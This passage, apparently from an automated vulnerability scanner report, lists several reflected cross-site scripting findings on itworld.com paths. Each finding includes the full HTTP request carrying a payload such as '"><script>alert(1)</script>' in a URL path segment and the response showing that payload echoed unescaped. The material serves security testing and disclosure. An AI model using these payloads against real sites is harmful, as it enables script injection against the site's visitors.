Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:28:25 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460505"
Content-Type: text/html; charset=utf-8
Content-Length: 57638
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:28:26 GMT
X-Varnish: 1038165824
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sitesa2fc7"-alert(1)-"157a275d6c6/all/modules/contrib/kickapps_comments/js/kickapps_comments.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oop
...[SNIP]...

1.278. http://www.itworld.com/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 16a7a"><script>alert(1)</script>34e6c5becd8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites16a7a"><script>alert(1)</script>34e6c5becd8/all/modules/contrib/kickapps_comments/js/kickapps_comments.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:28:19 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460499"
Content-Type: text/html; charset=utf-8
Content-Length: 57859
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:28:20 GMT
X-Varnish: 1038165687
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites16a7a"><script>alert(1)</script>34e6c5becd8/all/modules/contrib/kickapps_comments/js/kickapps_comments.js?h"/>
...[SNIP]...

1.279. http://www.itworld.com/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 38fe7"-alert(1)-"eb00440ce54 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all38fe7"-alert(1)-"eb00440ce54/modules/contrib/kickapps_comments/js/kickapps_comments.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:28:45 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460525"
Content-Type: text/html; charset=utf-8
Content-Length: 57639
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:28:46 GMT
X-Varnish: 1038166435
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all38fe7"-alert(1)-"eb00440ce54/modules/contrib/kickapps_comments/js/kickapps_comments.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! W
...[SNIP]...

1.280. http://www.itworld.com/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e6fa7"><script>alert(1)</script>5ef79c990fc was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/alle6fa7"><script>alert(1)</script>5ef79c990fc/modules/contrib/kickapps_comments/js/kickapps_comments.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:28:34 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460514"
Content-Type: text/html; charset=utf-8
Content-Length: 57859
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:28:36 GMT
X-Varnish: 1038166049
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/alle6fa7"><script>alert(1)</script>5ef79c990fc/modules/contrib/kickapps_comments/js/kickapps_comments.js?h"/>
...[SNIP]...

1.281. http://www.itworld.com/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 91e87"-alert(1)-"8e989790058 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules91e87"-alert(1)-"8e989790058/contrib/kickapps_comments/js/kickapps_comments.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:04 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460544"
Content-Type: text/html; charset=utf-8
Content-Length: 57638
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:08 GMT
X-Varnish: 1038167110
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
S";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules91e87"-alert(1)-"8e989790058/contrib/kickapps_comments/js/kickapps_comments.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn
...[SNIP]...

1.282. http://www.itworld.com/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f98eb"><script>alert(1)</script>369b5a2712 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modulesf98eb"><script>alert(1)</script>369b5a2712/contrib/kickapps_comments/js/kickapps_comments.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:28:59 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460539"
Content-Type: text/html; charset=utf-8
Content-Length: 57848
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:00 GMT
X-Varnish: 1038166943
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modulesf98eb"><script>alert(1)</script>369b5a2712/contrib/kickapps_comments/js/kickapps_comments.js?h"/>
...[SNIP]...

1.283. http://www.itworld.com/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29b2c"><script>alert(1)</script>ce2ddce86ae was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib29b2c"><script>alert(1)</script>ce2ddce86ae/kickapps_comments/js/kickapps_comments.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:14 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460554"
Content-Type: text/html; charset=utf-8
Content-Length: 57858
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:15 GMT
X-Varnish: 1038167328
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib29b2c"><script>alert(1)</script>ce2ddce86ae/kickapps_comments/js/kickapps_comments.js?h"/>
...[SNIP]...

1.284. http://www.itworld.com/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a5e7e"-alert(1)-"cb83e699ff7 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contriba5e7e"-alert(1)-"cb83e699ff7/kickapps_comments/js/kickapps_comments.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:19 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460559"
Content-Type: text/html; charset=utf-8
Content-Length: 57639
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:22 GMT
X-Varnish: 1038167627
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contriba5e7e"-alert(1)-"cb83e699ff7/kickapps_comments/js/kickapps_comments.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find
...[SNIP]...

1.285. http://www.itworld.com/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a7bb9"-alert(1)-"b348dc8e530 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/kickapps_commentsa7bb9"-alert(1)-"b348dc8e530/js/kickapps_comments.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:33 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460573"
Content-Type: text/html; charset=utf-8
Content-Length: 57639
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:34 GMT
X-Varnish: 1038168427
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
